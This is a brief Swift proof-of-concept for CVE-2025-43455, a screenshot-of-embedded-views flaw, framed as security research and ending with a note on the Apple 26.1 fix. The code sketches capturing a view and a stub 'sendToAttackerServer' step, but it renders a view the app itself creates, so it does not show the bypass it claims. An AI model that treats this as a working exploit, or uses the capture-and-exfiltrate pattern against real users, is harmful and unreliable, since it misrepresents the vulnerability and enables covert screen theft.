CVE-2025-43455

// CVE-2025-43455 PoC - Sensitive Information Screenshot via Embedded Views // This is a conceptual demonstration for security research purposes import UIKit class MaliciousScreenshotView: UIView { // Malicious app embeds a sensitive view func captureEmbeddedView() { // Step 1: Create target view that should be protected let sensitiveView = createSensitiveDataView() // Step 2: Embed the view in our view hierarchy self.addSubview(sensitiveView) // Step 3: Capture screenshot bypassing security checks // In vulnerable versions, this captures protected embedded content let renderer = UIGraphicsImageRenderer(size: sensitiveView.bounds.size) let screenshot = renderer.image { context in sensitiveView.layer.render(in: context.cgContext) } // Step 4: Exfiltrate the screenshot sendToAttackerServer(screenshot) } private func createSensitiveDataView() -> UIView { // Simulate sensitive information display let view = UIView(frame: CGRect(x: 0, y: 0, width: 300, height: 200)) view.backgroundColor = .white // Add sensitive content labels return view } private func sendToAttackerServer(_ image: UIImage) { // Send captured screenshot to attacker-controlled server print("Screenshot captured - PoC demonstration") } } // Defense: Apple fixed this by adding proper security checks // Users should update to iOS 26.1, iPadOS 26.1, macOS Tahoe 26.1, etc.
